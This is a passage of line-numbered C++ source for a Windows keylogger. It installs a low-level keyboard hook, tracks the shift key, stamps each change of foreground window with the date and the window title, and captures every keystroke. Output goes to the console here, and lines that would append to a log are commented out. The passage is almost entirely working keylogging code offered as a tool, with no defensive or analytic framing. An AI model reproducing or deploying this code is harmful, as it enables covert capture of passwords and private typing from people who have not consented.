https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx 226 | */ 227 | // LowLevelKeyboardProc Structure 228 | /* 229 | typedef struct tagKBDLLHOOKSTRUCT { 230 | DWORD vkCode; 231 | DWORD scanCode; 232 | DWORD flags; 233 | DWORD time; 234 | ULONG_PTR dwExtraInfo; 235 | } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT; 236 | */ 237 | KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam; 238 | // Do the wParam and lParam parameters contain information about a keyboard message. 239 | if (nCode == HC_ACTION) 240 | { 241 | // Messsage data is ready for pickup 242 | // Check for SHIFT key 243 | if (p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT) 244 | { 245 | // WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP. 246 | if (wParam == WM_KEYDOWN) 247 | { 248 | shift = TRUE; 249 | } 250 | if (wParam == WM_KEYUP) 251 | { 252 | shift = FALSE; 253 | } 254 | else 255 | { 256 | shift = FALSE; 257 | } 258 | } 259 | // Start Loging keys now we are setup 260 | if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) 261 | { 262 | // Retrieves a handle to the foreground window (the window with which the user is currently working). 263 | HWND currentWindow = GetForegroundWindow(); 264 | // Check if we need to write new window output 265 | if (currentWindow != lastWindow) 266 | { 267 | /* 268 | void WINAPI GetLocalTime( 269 | _Out_ LPSYSTEMTIME lpSystemTime 270 | ); 271 | typedef struct _SYSTEMTIME { 272 | WORD wYear; 273 | WORD wMonth; 274 | WORD wDayOfWeek; 275 | WORD wDay; 276 | WORD wHour; 277 | WORD wMinute; 278 | WORD wSecond; 279 | WORD wMilliseconds; 280 | } SYSTEMTIME, *PSYSTEMTIME; 281 | */ 282 | //LPSYSTEMTIME t; 283 | SYSTEMTIME t; 284 | GetLocalTime(&t); 285 | int day = t.wDay; 286 | int month = t.wMonth; 287 | int year = t.wYear; 288 | int hour = t.wHour; 289 | int min = t.wMinute; 290 | int sec = t.wSecond; 291 | int dayName = t.wDayOfWeek; 292 | // Build our output header 293 | temp << "\n\n[+] " << Dayofweek(dayName) << " - " << day << "/" << month << "/" << year << " "; 294 | temp << hour << ":" << min << ":" << sec; 295 | outPut.append(temp.str()); 296 | temp.clear(); 297 | /* 298 | int WINAPI GetWindowText( 299 | _In_ HWND hWnd, 300 | _Out_ LPTSTR lpString, 301 | _In_ int nMaxCount 302 | ); 303 | */ 304 | int c = GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow)); 305 | std::cout << c; 306 | temp << " - Current Window: " << cWindow << "\n\n"; 307 | //outPut.append(temp.str()); 308 | std::cout << temp.str() << std::endl; 309 | // Setup for next CallBack 310 | lastWindow = currentWindow; 311 | } 312 | // Now capture keys 313 | if (p->vkCode) 314 | { 315 | //outPut.append(HookCode(p->vkCode, caps, shift)); 316 | temp.clear(); 317 | temp << HookCode(p->vkCode, caps, shift); 318 | std::cout << temp.str(); 319 | } 320 | // Final output logic 321 | } 322 | } 323 | // hook procedure must pass the message *Always* 324 | myfile.close(); 325 | return CallNextHookEx(NULL, nCode, wParam, lParam); 326 | } 327 | 328 | 329 | int main() 330 | { 331 | std::cout << "[*] Starting KeyCapture" << std::endl; 332 | /* 333 | HHOOK WINAPI SetWindowsHookEx( 334 | _In_ int idHook, 335 | _In_ HOOKPROC lpfn, 336 | _In_ HINSTANCE hMod, 337 | _In_ DWORD dwThreadId 338 | ); 339 | */ 340 | // Start the hook of the keyboard 341 | KeyboardHook = SetWindowsHookEx( 342 | WH_KEYBOARD_LL, // low-level keyboard input events 343 | HookProcedure, // pointer to the hook procedure 344 | GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure 345 | NULL //desktop apps, if this parameter is zero 346 | ); 347 | if (!KeyboardHook){ 348 | // Hook returned NULL and failed 349 | std::cout << "[!] Failed to get handle from SetWindowsHookEx()" << std::endl; 350 | } 351 | else { 352 | std::cout << "[*] KeyCapture handle ready" << std::endl; 353 | // http://www.winprog.org/tutorial/message_loop.html 354 | MSG Msg; 355 | while (GetMessage(&Msg, NULL, 0, 0) > 0) 356 | { 357 | TranslateMessage(&Msg); 358 | DispatchMessage(&Msg); 359 | } 360 | } 361 | unhookKeyboard(); 362 | // Exit if failure 363 | return 0; 364 | } 365 | 366 | --------------------------------------------------------------------------------